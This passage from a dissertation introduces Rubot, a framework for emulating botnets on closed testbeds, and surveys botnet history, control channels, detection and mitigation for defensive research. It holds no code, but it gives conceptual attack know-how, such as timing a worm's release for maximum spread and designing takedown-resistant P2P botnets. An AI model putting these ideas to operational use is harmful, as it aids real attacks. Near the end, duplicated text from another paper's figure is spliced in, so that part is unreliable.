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SUMMARY

Criminals use the anonymity and pervasiveness of the Internet to commit

fraud, extortion, and theft. Botnets are used as the primary tool for this crimi-

nal activity. Botnets allow criminals to accumulate and covertly control multiple

Internet-connected computers. They use this network of controlled computers to

flood networks with traffic from multiple sources, send spam, spread infection, spy on

users, commit click fraud, run adware, and host phishing sites. This presents serious

privacy risks and financial burdens to businesses and individuals. Furthermore, all

indicators show that the problem is worsening because the research and development

cycle of the criminal industry is faster than that of security research.

To enable researchers to measure botnet connection models and counter-measures,

a flexible, rapidly augmentable framework for creating test botnets is provided. This

botnet framework, written in the Ruby language, enables researchers to run a botnet

on a closed network and to rapidly implement new communication, spreading, control,

and attack mechanisms for study. This is a significant improvement over augmenting

C++ code-bases for the most popular botnets, Agobot and SDBot. Rubot allows

researchers to implement new threats and their corresponding defenses before the

criminal industry can. The Rubot experiment framework includes models for some

of the latest trends in botnet operation such as peer-to-peer based control, fast-flux

DNS, and periodic updates.

Our approach implements the key network features from existing botnets and

provides the required infrastructure to run the botnet in a closed environment.
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CHAPTER I

INTRODUCTION

Criminals control networks of compromised computers, botnets, to commit a multi-

tude of fraud, extortion, and theft. Botnets provide bandwidth, IP address diversity,

and hosting services, which enables much of these criminal activities on a large scale.

The bandwidth is used to launch distributed denial-of-service (DDoS) attacks and to

send unsolicited e-mail (a.k.a., spam). The IP address diversity is used to make IP

address-based blocking ineffective because of the number of IP addresses used to send

malicious traffic and the blending of valid traffic with malicious traffic from the same

IP addresses. IP address-based blocking is commonly used to block spam, but if an

attacker has control of many IP addresses, he or she will still be able to send a deluge

of spam e-mails before being blocked. These spam messages are used to trick people

into sharing login credentials (phishing), installing malicious software (trojans), or

sharing bank account information (419 scams). Also, these compromised hosts often

provide services, such as HTTP and DNS servers, which are used to host malicious

content in a resilient manner. This is resilient because to take the malicious content

offline, security administrators must coordinate the disconnection of many hosts in a

short period of time.

There are many challenges to measuring botnets that make it difficult for re-

searchers to perform experiments. Furthermore, many experiments performed on

actual botnets lack basic scientific rigor because of these challenges. The challenges

include limited visibility of the Internet, constantly changing conditions (e.g., online

population, IP address allocation, peering, and congestion), changes in botmaster

1



activity because of monitoring, and interference from other entities trying to mea-

sure the botnet (e.g., law enforcement, security companies, and other researchers).

Since the collected data is limited in scope and the conditions are not reproducible,

findings from this data have limited or no scientific value. Furthermore, researchers

and companies rarely share their data because of the sensitivity of the data. Bot-

masters have blocked researchers’ efforts to map their network and could inject false

answers into the measurements, causing false findings. There are no solutions for

these fundamental problems.

To enable researchers to perform scientific measurements on botnets, we devel-

oped an experiment framework in which botnets can be implemented, measured, and

mitigated. This framework incorporates common functionalities found in botnet code

bases and provides the basic services required to set up internet services on a closed

network or testbed. This framework allows researchers to quickly build botnets with

the functionalities under investigation, deploy it onto a closed, monitored network,

and measure the effectiveness of their detection or remediation techniques. The abil-

ity to conduct these experiments in a controlled environment allows for variables

to be controlled independently and measurements repeated, which leads to scientific

findings.

1.1 Bot and Botnet Architectures

A botnet is a collection of compromised machines under the remote control of one

entity, the botmaster. A bot is a type of malicious software, also called malware or

the more recently coined term, crimeware, that is installed on the victim computer

so that the botmaster can control the victim computer. It is important to note for

clarity that malware samples generally contain much more functionality than just

remote control.

Different bots can be categorized by the services they provide to the botmaster,
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how they spread, how they are controlled, and how they evade detection. There are

services found in almost every bot because they are the easiest to monetize, such

as packet flooding and spam generation. Beyond that, there is a wide diversity of

functionalities found in bots ranging from ejecting the CD-ROM to searching for

credit card numbers on the machine. Essentially malware is able to do anything that

software is capable of doing.

The bot-spreading mechanism changes over time because of changes in counter-

measures. Worms, which infects a machine on the network and then co-opts that

machine to aid in spreading itself to other machines on the network, used to be the

most common method of spreading malware. When firewalls began to block worms

from spreading, the primary method changed to trojans, which tricks victims into

installing in the belief that it is beneficial. Now that users have grown wary of

this kind of attack and are not as eager to install random software, Web drive-by

downloads, a technique where simply visiting a Web site can exploit the Web browser

and install the malicious software, has flourished and is starting to dominate the

security landscape.

For a long time, the predominant remote control channel was Internet Relay Chat

(IRC). IRC was a desirable choice for botmasters for a variety of reasons:

1. Many of the criminals were familiar with IRC.

2. IRC is resilient because of redundant servers.

3. Since IRC is public in nature, it allows botmasters to blend in with the masses.

4. IRC was designed to be scalable to support hundreds of thousands of users.

5. Communications are synchronized, which allows messages or commands to ar-

rive to all clients at the same time.

However, as botnets became a prominent threat, security analysts reacted in several
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key ways to reduce this threat by closing the chatrooms, shutting down the IRC

servers, blocking IRC traffic, and tracking botnets by joining the IRC network. Bot-

masters slowly changed their command channel to other protocols in order to blend in

with normal user traffic. There are documented cases of command channels using the

HyperText Transfer Protocol (HTTP), the Domain Name Service (DNS) protocol,

and several peer-to-peer (P2P) protocols. Much of the research in this dissertation

relates to modeling these various command channels.

Due to the popularity of antivirus software, malware is constantly changing to

evade detection. Also, many malware samples disable installed antivirus software or

compromise the operating system to evade host-based intrusion detection. This trend

has progressed to the point that almost all malware samples captured in the wild are

completely undetected by antivirus and are not be detected for several weeks.

1.2 Internet Experimentation

There are several limitations to performing thorough, scientific measurement on the

Internet. First, the Internet is a vast variety of links, routers, computers, protocols,

and applications. These components change over time and their utilization change

constantly, typically with diurnal and weekly cycles. Many of the protocols and

applications are unknown, undocumented, or highly complex. Furthermore, when

researching malicious activity, criminals change behavior to evade measurement.

With the aid of simulators and testbeds, researchers can perform internet exper-

iments. Simulators model internet components in software and can often run faster

than real-time. Emulation attempts to mimic the behavior of components, generally

as part of a small network. Simulation and emulation give good global visibility of the

network under study, but often are on a smaller scale and lacks the same dynamics as

real networks. These properties often give repeatable results, which tend to be more
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favorable than a real world experiment because of the lack of noise and complica-

tions. Experiments on the Internet suffer from extreme complexities and from lack of

visibility of the overall system. There can be no complete solution, but compromises

between these approaches provide some similitude to realistic conditions while still

providing scientific insight.

1.3 Rubot Framework

Botnet research is problematic because of the scope (millions of victims) and the

evasion techniques deployed by its propagators. In order to perform botnet research,

Rubot provides an experiment framework to set up customized botnet architectures

on testbeds. The framework is written in the Ruby programming language and en-

ables the rapid construction of botnets. It allows the researcher to integrate different

functionalities under investigation into the bot and then deploy the botnet onto a

closed network.

There are several stages of botnet communication, which the framework provides

functionality to implement. Each stage encompasses several models, and each model

has several variable properties. The observation and implementation of these models

are the core work of this dissertation. The stages of botnet communication under

study are the following:

1. Propagation - method used to infect victim machines.

2. Control - channel used for the botmaster to send commands.

3. Update - method used to send new executable code to a current victim.

4. Attack - types of malicious network activity, such as DoS.

5. Spam - retrieving of spam templates and sending of unsolicited e-mail.

6. Combined services - bundled network services like HTTP and DNS servers.
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In this dissertation, the primary work is on the control channel, and specifically

peer-to-peer and HTTP-based control.

1.3.1 Measurement of Current Peer-to-Peer Botnets

Although Internet Relay Chat (IRC) is still the primary form of botnet control, peer-

to-peer (P2P) protocols are being used for botnet control because of their scalability

and resiliency. The first part of this thesis discusses the measurement of three P2P

botnets: Nugache.A, Storm, and Mayday. These models serve as the basis of P2P

models implemented in the Rubot framework.

1.3.2 Botnet Emulation Engine

The remaining modules of the engine are motivated by features commonly seen in

botnet code bases. The core part of the Rubot framework loads the configured mod-

ules, starts the processes, and serves as the message arbiter between the processes.

The Rubot core starts by parsing the specified configuration file and loading the as-

sociated modules. After all the modules are loaded, each one is started processing in

its own thread.

1.3.3 Experimentation

To show the utility of the Rubot framework, three P2P botnets models were deployed

on the DETER testbed and measured. These tests illustrated how changes in how the

botnets communicate dramatically change the effectiveness of the different enumera-

tion techniques of crawling, riding, multi-joining, and P2P route table poisoning. The

models cover much of the current state of P2P botnets and will serve as a starting

point for future research.

1.4 Dissertation Outline

The goal of this research was to understand current botnet models, implement a

framework to enabled controlled experiments on botnets of different models, and then
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show how enumeration techniques fare against different models. Chapter 2 introduces

botnets, their history, and trends in code bases. Chapter 3 describes previous mea-

surements of P2P botnets and discusses how these measurements yield the derived

models. Chapter 4 describes the Rubot framework; including the core engine, mod-

els, and modules. Chapter 5 describes the testbed experiments and results. Lastly,

Chapter 6 serves as the conclusion of this dissertation.
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CHAPTER II

ORIGIN AND HISTORY OF THE PROBLEM

Since the first IRC-controlled bot in 1999, criminals have exploited the power and

anonymity of botnets to commit fraud, coercion, and theft. Today, the use of botnets

has grown into a massive, underground economy with areas of specialization in the

various stages of building and using the malicious network. During a six-month period

in 2006, Symantec observed over 4.5 million distinct infected computers. A recent

estimate by Vint Cerf placed the number of infected hosts at 150 million. In a 2006

FBI report on cybercrime, the estimated cost to U.S. businesses was $67.2 billion

during 2005 [38]. Since the risks of operating botnets are minimal and the economics

of operating botnets are favorable to the botmasters, the problem will continue to

grow.

Much of the previous work has focused on understanding botnet malware and

botnet detection. To understand botnet malware, researchers use the source code

(if available), perform reverse engineering on the binary, monitor the botnet activi-

ties within a virtualized environment, or take network measurements of the botnet

traffic. Malware writers have very advanced, commonly-used anti-analysis methods,

which can evade each of these techniques. The criminals encrypt the binary (packing)

and perform debugger and virtualized environment detection to hide the malware’s

instructions from researchers. Botnet source code is kept private by the malware

writers and is difficult for researchers to find. Recently, a trend toward alternate

command and control (C&C) communication channels has risen concerns as malware

authors experiment with the Gnutella protocol, the Waste P2P protocol, HTTP com-

munications, and stenography. These alternate channels hide or obfuscate the C&C
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communication, making botnets difficult to detect and mitigate. Since the malware

binary can change and use common protocols such as HTTP, intrusion detection sys-

tems (IDS) have difficulty detecting the communications since there is no distinct

pattern that can be used to detect the malware or its communication.

Currently, there are no available frameworks or simulators for botnet experimen-

tation and analysis. Without a viable framework, botnet research is costly and slow

because of the many hurdles of obtaining source code, reverse engineering malware

binaries, and operating a research botnet within legal constraints. These issues are

addressed further in both this chapter and in Chapter 3. These obstacles have caused

the research community to lag behind the criminal community.

2.1 Introduction to Botnets

A botnet is a large number of victim computers controlled by a single entity without

the knowledge of the owners. The controlling entity is known as the botmaster. The

botmaster either forms his or her own botnet or rents it from someone who has a

botnet already. Typically, botnets are used to spy on victims, send spam, commit

click-fraud, install adware, and launch distributed denial-of-service (DDoS) attacks.

The remainder of this section presents a brief history of botnet technology, a discussion

on legal and technical limitations in botnet research, and related work.

2.1.1 Brief History

Even though the first few botnets were fairly advanced in functionality, the packag-

ing and deployment of new botnets escalated when a tool to generate derivatives of

SDBot was released. From that point, botnets increased in complexity and function-

ality. Many of the new features were designed to avoid detection, steal data, exploit

vulnerabilities, launch network attacks, and send spam.

The first IRC-enabled trojan, Pretty Park [37, 32], was first seen in March 1999.

It was written in Delphi and had many of the features still in use today. It had the
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ability to report the computer specifications, search for e-mail addresses, retrieve pass-

words, update its functionality, transfer files, redirect traffic, perform DoS attacks,

and communicate with the IRC server.

Originally discovered in May 1999, SubSeven was the first remote controlled mal-

ware sample[8, 41, 32]. The SubSeven trojan created a backdoor on the victim ma-

chine by running the SubSeven server. IRC remote control started in version 2.1

when it permitted the SubSeven server to receive commands via IRC. This style of

botnet management became popular and was integrated in many of the later botnet

variants.

In 2000, Global Threat bot (GTBot) [32] appeared. It built upon the mIRC IRC

client and used mIRC’s scripting interface to create a bot that can respond to IRC

events. Additionally, it supported raw TCP and UDP socket connections, which

allowed a variety of spoofing and denial-of-service attacks. GTBot has functionalities

to perform port scanning, packet flooding, and IRC cloning. Additionally, it can

anonymously access an IRC server.

SDBot was written in 2000 lines of C and appeared in 2002. In its original form,

it did not provide much of the common functionalities such as spreading and DDoS,

but because the code was released under the GPL, many derivative bots were formed

from this source (including SpyBot). Despite the popularity of the SDBot code base

for building new variants, the code was actually not very clean or modular.

AgoBot (aka Gaobot or Phatbot), which premiered in late 2002, is a sophisticated,

professional code base [4]. Most source bundles based on AgoBot contain around

20,000 lines of C/C++. AgoBot consists of various components for IRC communi-

cation, target exploits, DDoS attacks, shell encodings and polymorphic obfuscations,

password harvesting, anti-virus removal, and debugger detection. One of the Phatbot

variants was the first to use the Waste P2P file sharing protocol to control the botnet.

Rbot introduced the use of runtime software package encryption tools such as
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Morphine, UPX, ASPack, PESpin, and others to obfuscate the binary payload in

order to avoid signature-based IDS systems. Polybot extended this polymorphic

technique in March 2004 to morph its code every time it infects a machine.

As the Internet community cracks down on botnets, botmasters use different tac-

tics to avoid blocking. At first, botnets were blocked by taking down the C&C IRC

channels. So the botmasters used their own IRC servers. Then, botnets were removed

by blocking those IP addresses, so botmasters used domain names to herd their bots

to an active IRC server. When ISPs learned that they could block connections by

caching bad answers for the DNS entry, botmasters used methods to diversify the

domain names, IPs, and protocols. In May 2006, after the security community had

many successful removals of botnet C&C servers, the botmasters started to use fast

flux DNS to cycle the bots around to multiple servers. Fast flux refers to a practice

of continuously updating the DNS entries at regular intervals [32, 10]. This shifted

the centralizing agent of control from a C&C server to the DNS architecture.

To evade detection, botnets have started to use alternate communication channels.

Some botnets use the HTTP protocol to access Web pages that have commands

embedded in them [32, 14, 20]. This includes popular blogs, search-engine results,

and Web-based e-mail sites. Many researchers have noted the rise in the use of peer-

to-peer (P2P) protocol-based botnets and their resiliency [20, 14, 4, 10, 32, 7, 25].

Commands can be embedded in DNS records [20], news server postings, or randomly

discovered peers [7].

The overall trend in botnets is to use more professional code bases, alternate com-

munication channels for control, novel herding tactics, and new forms of malicious

activity, such as ransomware, instant message spam (SPIM), and blog spam (SLOG).

As botnet generation tools become more accessible, novice botmasters try to use the

tools to form their own botnets, which tend to be very small. Botnets are becoming

more numerous, with many smaller ones (typically used for credit card and limited
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DDoS) and a few mammoths ones like the Storm botnet (used primarily for spam-

ming). Browser bugs are also being exploited in new ways to allow a temporary

takeover of computers.

2.1.2 Detecting Botnets

Security specialists have difficultly taking down botnets because of the very nature

of the Internet. The first challenge is the international nature of the Internet. Even

if an attacker is identified, language and legal issues impede prosecution. Computer

Emergency Response Teams (CERT) in various countries handle incident reports.

The responsible CERT then works with local Internet providers and law enforcement

to help respond to attacks. The second problem is the vast number of compromised

hosts on the Internet. Even if the botnet C&C is taken offline, the infected comput-

ers can still be recruited into the next botnet. The third problem is detection and

reporting. Most botnets are undetected because of inadequate monitoring, and few

people know how to report a botnet. The quickest, cheapest, most effective change

we can make to enhance the war on botnets is to teach people how to spot and report

them. This would form a neighborhood watch program for the Internet to make it

an environment hostile to crime.

Honeynets [24] are networks of vulnerable machines, honeypots, that are heavily

monitored for spurious activity. These networks are very successful in obtaining self-

propagating malware and capturing the communication between an infected host and

the C&C [31]. However, the Honeynet Project [33] is very reluctant to do any form

of reporting or to cooperate with law enforcement because of its legal status. Al-

liance members disseminate information through generic, bi-yearly reports and Know

Your Enemy (KYE) papers. Because of the legal constraints of honeynet operators,

honeynets are trivial to fingerprint [44].

Low-interaction honeypots, such as Nepenthes and HoneyD, are highly effective
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at collecting botnet malware for known exploits [2, 31, 40, 1, 28]. Nepenthes emulates

vulnerabilities, e.g., LSASS buffer overflow (CVE-2003-0533), and when an attacker

attempts an exploit, it will decode the exploit code and attempt to download the mal-

ware. Since the vulnerability is only emulated, the system remains uncompromised

and is easier to operate than a high-interaction honeypot. However, it is limited to

the vulnerabilities that are implemented inside of Nepenthes.

ShadowServer is an organization dedicated to detecting and reporting botnets.

On its Web site, it maintains several meaningful statistics related to the number and

sizes of botnets. The organization uses Nepenthes as a primary part of its overall

strategy to detect botnets. After collecting malware samples, ShadowServer decodes

the malware using a sandbox to obtain the C&C information. A sandbox is an

instrumented operating system environment used to run programs and obtain useful

information about those programs.

Other common methods for detecting botnets include anti-virus software, netflow

monitoring for specific C&C port numbers, anomaly-based intrusion detection sys-

tems (IDS), spam monitoring, and domain name server (DNS) monitoring. Recent

work [29] argued that botnets might be detected by watching the DNS lookups to

DNS black list servers (DNSBLs) because botmasters test the DNSBLs to see how

effective their bots will be when spamming.

2.1.3 Botnet Mitigation Strategies

Botnet mitigation falls into the following eight categories [7, 23, 32]:

1. Host-based prevention

Anti-virus software, personal firewalls

2. Network-based prevention

Network firewalls, intrusion detection systems, intrusion prevention systems,

rate limiting
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3. Host cleaning

Anti-virus software, spyware sweepers, reformatting, manual cleaning

4. C&C blocking

Port blocking (e.g., port 6667), protocol blocking, host blocking (of either the

infected host or the C&C)

5. C&C takedown

Removal or blocking of the C&C host

6. C&C redirection poisoning

DNS poisoning, IP black-holing, silent-peering (Jamming)

7. Economic disincentive

Reduce the price botmasters can charge for their botnets, increase the cost to

form the botnet, or increase the cost when using the botnet (e.g., BlueFrog’s

[42] approach to spam)

8. Legal action

Reporting the botnet to a law enforcement organization (LEO)

There was a recent debate at NANOG 39 ISP Security BOF discussing the relative

benefits of taking down a botnet verses monitoring it [26]. System administrators lack

the time to investigate botnet activity and work to limit liability by simply black-

holing the traffic. Researchers and LEOs want to study the botnet and its activities,

and collect evidence. Furthermore, as botmasters improve their techniques to keep

bots connected to the C&C, performing take-downs and black-holing traffic becomes

less effective.
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2.2 Liabilities of Botnet Research

The best way to learn how current botnets operate is by directly observing them.

The easiest way to observe a botnet is to infect a host with the malware sample

and observe its communication. However, this could have a liability issue because the

researcher has knowledge that the computer is running malicious software and it might

attack someone [44]. If the computer is infected and there are no countermeasures,

the researcher could be considered negligent. Researchers have been quite successful

in running an infected host and blocking all attack commands, but this would be

rendered problematic if the protocol was encrypted or obfuscated. When studying

peer-to-peer botnets, relaying the botmaster’s command could place the researcher

into a liable position of aiding the botnet. However, there have been no legal cases

trying these issues.

The next best way to track a botnet is to monitor the communications at the

C&C. This would require discovery of the C&C and permission from the owner of the

compromised host to allow you to monitor it. The owner may be liable for continuing

the operation of the botnet after being notified of the problem. This issue works

against the collection of evidence.

Another option is to monitor the communications of large networks at the border,

discover botnets, and then reroute connections destined to the control center to a

honeypot or tarpit. This effectively switches those hosts over to a friendly C&C. This

is an effective mitigation strategy, but not one for learning how botnets operate or

how botnet tactics evolve. This requires an agreement with an ISP and has some

privacy issues (which means lawyers). Also, the use of peer-to-peer protocols for

botnet communication defeats this blocking technique.
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2.3 Technical Difficulties of Botnet Research

In addition to the legal challenges, there are also technical challenges that limit botnet

research. First, botnet samples are malicious. Great care must be taken to limit the

danger of running the malicious code. Virtual machines are often used to mitigate

this danger by separating the malicious code into its own environment. However,

malware often detects the virtualized environment and refuses to operate normally.

Last, for a botnet to operate, the infected computer must be able to discover the

control center or other peers via some server. This requires that the infected machine

be allowed to connect to the C&C. Once connected to the C&C, the botmaster can

send commands to the infected machine, causing problems of liability and detection.

The liability issue was addressed earlier and applies in this case. The second problem,

detection, refers to the idea that the botmaster may detect the experiment and try

to harm the experiment and/or the experimenter.

2.4 Related Work

The German Honeynet Project used honeypots to track botnets and published its

findings in a Know Your Enemy (KYE) paper [1]. Project members created a mal-

ware collection daemon called mwcollect and connected it to IP addresses on a German

ISP. They found that the most common attacks came from Windows XP and Win-

dows 2000 computers and targeted the Windows filesharing ports (445, 139, 137, and

135). This Windows networking traffic consisted of more than 80% of the observed

traffic. Three bot families, Agobot, SDBot, and GTBot, consituted a majority of the

botnet infections, with occasional infections by variants of the DSNX, Q8, kaiten,

and Perlbot families. Most of their bots used a dynamic DNS service to locate the

C&C and used passwords to protect the IRC channels from outsiders. The two most

commonly used IRC server software packages were Unreal IRCd and a cracked version

of ConferenceRoom.
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The same group also used high-interaction honeypots by allowing the honeypots

to be infected and identifying the connection details to the C&C by monitoring the

communications. Then, they used a customized IRC client to connect to the C&C,

pretended to be an infected host, and monitored the C&C for botnet details. In four

months, they were able to track over 100 botnets and 226,586 unique IP addresses

connecting to those C&Cs. Most botnets consisted of only a few hundred bots,

but there were several large botnets with up to 50,000 hosts. They also found that

home computers are commonly infected with multiple bots; one had 16 different

bots installed. They observed 226 DDoS attacks during that duration, which mainly

targeted dial-up lines.

Holz recorded the number of new bot variants observed for both AgoBot and

SDBot [20], and the results are graphed in Figure 1. In 2003 and the beginning of

2004, Agobot was the leading code base for new botnets, but as of June 2004, SDBot

quickly stormed onto the scene and became the dominant code base. This climb was

due to a tool that made generation of new variants very easy to create.

Figure 1: Count of Agobot and SDBot bot variants observed each month during
2004 and 2005.

In [7], Cooke et al. used honeypots and the Internet Motion Sensor (IMS) project

[3] to project the growing trends of bot infection. Note that this may not mean larger

botnets, but simply more infected hosts. In fact, they observed that smaller botnets
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are more common than the larger botnets [21]. Additionally, recent botnets tend

to have more firepower because of the proliferation of broadband connections to the

Internet. Cooke also theorizes that future botnets might use random communication

patterns to scan the Internet to discover peers.

Ourmon utilizes a botnet detection algorithm described in [6]. The algorithm

tracks IRC channel communications and flags IRC channels as evil if hosts on that

channel have a high ratio of TCP control packets (SYN, FIN, RST) to overall TCP

packets. This technique assumes that the botnet uses IRC for coordination and that

the monitoring point can capture packets statistics. Donaldson implemented this

algorithm using FPGAs to operate on high-speed networks [12].

BotHunter [18] detects botnets at the network level by looking for a dialog se-

quence, which the authors call the bot infection dialog model. This dialog model is an

abstraction of the stages in a successful botnet infection and operation. The authors

provided three bot-specific sensors to aid in detecting the five potential dialog trans-

actions listed below. Specifically, the authors additional sensors detect additional

exploits (phase 2), egg downloads (phase 3), and types of command-and-control traf-

fic (phase 4).

1. Network scan

2. Victim exploit

3. Binary download by the victim

4. Contact to a command and control

5. Outbound scanning

Ishibashi et al. proposed a way to detect hosts infected with mass-mailing worms

by monitoring domain name server (DNS) queries [22]. Specifically, they monitored
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the mail exchange (MX) record queries and performed probabilistic host-based scor-

ing.

Ramachandran et al. monitored queries at a DNS blackhole list (DNSBL) [29].

Botmasters query against these databases to see if their bots are listed as spammers.

They do this in order to sell unblocked botnets for more money. Botnet membership

can be passively gathered by monitoring these queries and looking for patterns that

are different from normal mail server-based queries.

Strayer et al. developed a method for detecting botnets by monitoring flows, filter-

ing out known good traffic, and correlating the remaining flows [34]. The remaining

flows form a small cluster of bot-like behavior. Those clusters are then investigated

further. This analysis depends on certain assumptions of bot behavior and is currently

limited to IRC-based command and control.

Barford et al. created a taxonomy of seven key mechanisms of botnet families and

describe their capabilities [4]. They directly examined the source code of four botnet

code bases: Agobot, SDBot, SpyBot, and GTBot. Their taxonomy considered the

architecture, botnet control, host control, propagation methods, exploits, malware

delivery mechanisms, obfuscation methods, and deception strategies of the botnet

code bases. There were several key findings as follows:

• Botnet software is evolving into more complex and modular code bases.

• Internet Relay Chat (IRC) is still the predominant control protocol.

• Spying activities, such as password and credit card harvesting, are very well

thought out and pose a massive threat to security.

• There exists a wide assortment of exploits bundled with the malware–most of

which focus on Windows vulnerabilities.

• All code bases contain denial-of-service capabilities.
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• Polymorphic techniques, such has shell encoding and packing, are quite com-

mon.

• All botnet software contains code to avoid detection–usually by disabling anti-

virus software.

• The propagation mechanisms used by most code bases are still quite simple–

generally allowing for only horizontal and vertical scanning.

Another taxonomy of botnets was performed to differentiate botnets based on

their connection topologies [10]. This taxonomy was created in response to ongoing

trends toward peer-to-peer (P2P) topologies within botnets. The various structures

were evaluated using three key discrimators: size, network diameter, and redundancy.

Botmasters usually want to maximize size and redundancy, while minimizing the net-

work diameter. Size equates to power and the network diameter affects the command

propagation time throughout the botnet. The resulting P2P topology models are

1. Erdös-Rényi Random Graph

Each node is connected with equal probability to the other N-1 nodes forming a

randomized graph.

2. Watts-Strogatz Small World

Nodes form a regional network of local connections in a ring formation and with

a low probability, forms a distant connection to the opposite side of the ring.

3. Barabási-Albert Scale Free

The degree of the nodes is a power law distribution.

Dagon et al. developed a model to express the number of infected hosts in different

time zones and compared the model to empirical data [11]. Since more computers are

on during the active hours of each time zone, the active botnet population in that

time zone also increases. If a botnet used remote exploits to propagate, then both the
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infected computer and the target computer would need to be on. Thus, the infection

pattern is limited in part by the time zones of the respective computers. This leads

to a cross-time zone infection model. One of the interesting conclusions to the model

is that the world population of online active bots (and thus vulnerable machines)

peaks at about 13:00 UTC , when the Asia group is starting to fall, Europe is close

to peaking, and the Americas are in mid-rise. Furthermore, Dagon et al. evaluated

the model and showed that releasing a worm at noon (UTC) would have about two

and a half times the impact within the first six hours of spreading of releasing it at

midnight.
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Figure 3. Worm propagation dynamics and population growth

3.6 Practical Uses of Diurnal Models

The diurnal model Eqn. (5) tells us when releasing a
worm will cause the most severe infection to a region or the
entire Internet. For worms that focus on particular regions,
the model also lets us predict future propagation, based on
time of release. The role that time zones play on propaga-
tion is intuitively obvious, but has not been expressed in any
previous model.

3.6.1 Forecasting with Pattern Tables

The derived αi(t) is not limited to the botnet under ex-
amination, but instead reflects the type of vulnerability ex-
ploited by the botnet. That is, different botnets that both
exploit the same vulnerability in Windows 2000 SP2 will
likely have similar Ni(t) (and therefore α(t)), assuming
there are no other region-specific limiting factors. That is,
both worms will target the same Si(t), if there are no differ-
ences (e.g., language differences such as Korean versus En-
glish language email viruses) that would clearly favor one
time zone’s population over another.

Repeated sampling of botnets using DNS redirection
noted in Section 2 (and other techniques) will conceivably
yield an understanding of how vulnerabilities are distributed
in different zones. Since αi(t) corresponds to the type of
vulnerability being exploited, repeatedly seeing malware
target the same OS flaw may assist forecasting. Researchers
can infer the growth of future outbreaks based on previ-
ous attempts to exploit the same vulnerability. Thus, when
a new bot appears targeting a familiar vulnerability, re-
searchers can use timely previous examples to estimate how
far and fast the bot will spread.

Accordingly, we can build a table of the derived shaping

functions, based on observed botnet data, and key the table
based on other heuristics about the worm (e.g., the exploit
used, the OS/patch level it affects, country of origin). When
a new worm is discovered, these heuristics are often the first
few pieces of information learned from a honeypot. One
can then consult the table for any prior αi(t) derivations,
and use them to forecast the short-term population growth
of the bot, relative to its favored zone and time of release.

To evaluate the forecasting capability of our diurnal
model, we collected monitored traces of three botnets that
exploited the same vulnerability [Mic04]. The agents for
these botnets were released in succession, evidently as en-
hancements to prior versions. From our discussion in Sec-
tion 3, these botnets should have similar diurnal shaping
functions, αi(t), for the same time zone or group of zones.
We therefore used the diurnal model derived from one bot-
net to predict the propagation dynamics of other botnets.

Fig. 5(a) shows the propagation dynamics of these three
botnets in the European group. Each data point represents
the number of SYN connection requests observed by our
sinkhole within every half an hour. Because these botnets
appeared in different time periods, their infected population
were different from each other since the vulnerable popula-
tion in the Internet varies over time. We therefore show the
results by normalizing their SYN connections. Figure 5(a)
clearly shows that botnets exploiting the same vulnerabil-
ity have similar diurnal dynamics. The results of the North
American and Asian groups, shown in Figs. 6(a), 7(a), were
also similar.

To evaluate the predictive capability of our diurnal
model, we derive the parameters for the diurnal model based
on curve fitting of data from Botnet 1 for the European
group. Then we use the derived diurnal model to predict the
dynamics of the other two botnets for the same European

(a) Regional fluctuation of the online botnet popu-
lation.
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The diurnal model Eqn. (5) tells us when releasing a
worm will cause the most severe infection to a region or the
entire Internet. For worms that focus on particular regions,
the model also lets us predict future propagation, based on
time of release. The role that time zones play on propaga-
tion is intuitively obvious, but has not been expressed in any
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ploited by the botnet. That is, different botnets that both
exploit the same vulnerability in Windows 2000 SP2 will
likely have similar Ni(t) (and therefore α(t)), assuming
there are no other region-specific limiting factors. That is,
both worms will target the same Si(t), if there are no differ-
ences (e.g., language differences such as Korean versus En-
glish language email viruses) that would clearly favor one
time zone’s population over another.

Repeated sampling of botnets using DNS redirection
noted in Section 2 (and other techniques) will conceivably
yield an understanding of how vulnerabilities are distributed
in different zones. Since αi(t) corresponds to the type of
vulnerability being exploited, repeatedly seeing malware
target the same OS flaw may assist forecasting. Researchers
can infer the growth of future outbreaks based on previ-
ous attempts to exploit the same vulnerability. Thus, when
a new bot appears targeting a familiar vulnerability, re-
searchers can use timely previous examples to estimate how
far and fast the bot will spread.

Accordingly, we can build a table of the derived shaping

functions, based on observed botnet data, and key the table
based on other heuristics about the worm (e.g., the exploit
used, the OS/patch level it affects, country of origin). When
a new worm is discovered, these heuristics are often the first
few pieces of information learned from a honeypot. One
can then consult the table for any prior αi(t) derivations,
and use them to forecast the short-term population growth
of the bot, relative to its favored zone and time of release.

To evaluate the forecasting capability of our diurnal
model, we collected monitored traces of three botnets that
exploited the same vulnerability [Mic04]. The agents for
these botnets were released in succession, evidently as en-
hancements to prior versions. From our discussion in Sec-
tion 3, these botnets should have similar diurnal shaping
functions, αi(t), for the same time zone or group of zones.
We therefore used the diurnal model derived from one bot-
net to predict the propagation dynamics of other botnets.

Fig. 5(a) shows the propagation dynamics of these three
botnets in the European group. Each data point represents
the number of SYN connection requests observed by our
sinkhole within every half an hour. Because these botnets
appeared in different time periods, their infected population
were different from each other since the vulnerable popula-
tion in the Internet varies over time. We therefore show the
results by normalizing their SYN connections. Figure 5(a)
clearly shows that botnets exploiting the same vulnerabil-
ity have similar diurnal dynamics. The results of the North
American and Asian groups, shown in Figs. 6(a), 7(a), were
also similar.

To evaluate the predictive capability of our diurnal
model, we derive the parameters for the diurnal model based
on curve fitting of data from Botnet 1 for the European
group. Then we use the derived diurnal model to predict the
dynamics of the other two botnets for the same European

(b) Cumulative fluctuation of the online botnet pop-
ulation.

Figure 2: Diurnal fluctuation of online botnet population.

In addition to ordinary botnets, some investigators have researched worst-case

botnets, botnets designed to be nearly impossible to take down. Vogt and Aycock

noted the trend of botmasters to shrink the size of the botnets and described a

protocol that would allow different botnets to coordinate with each other to perform

massive attacks. The key finding is that even though individual botnets are smaller

(for overall resiliency), if many botnets coordinate the threat is the same as a well-

organized large botnet. This trend, although well reported in security news, has not

been substantiated in any scientific observations of botnet sizes.
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Reiher, Li, and Kuenning described a potential botnet architecture, midgard

worms [30]. In this architecture, the infected hosts form a peer-to-peer (P2P) overlay

by maintaining a constant number of peers. Peers are discovered by random scanning

and are chosen by a three-way handshake that tests the availability of the host and

the latency. This leads to a network that would still be 70% connected even if 80%

of the nodes were taken offline (with five peers per node). As nodes rediscover each

other through scanning, the connectivity is revived. Is it possible that a scalable,

resilient botnet be formed and be almost impossible to take down.

Li, Ehrenkranz, and Kuenning simulated and analyzed three malnet (a malicious

network, such as a botnet) architectures: random, small-world, and Gnutella-like

architectures. Gnutella-like networks showed the greatest resiliency to random node

failures, with random networks in second place. The conclusion of this work is that

randomly dropping nodes is typically ineffective in taking down botnets of these types.

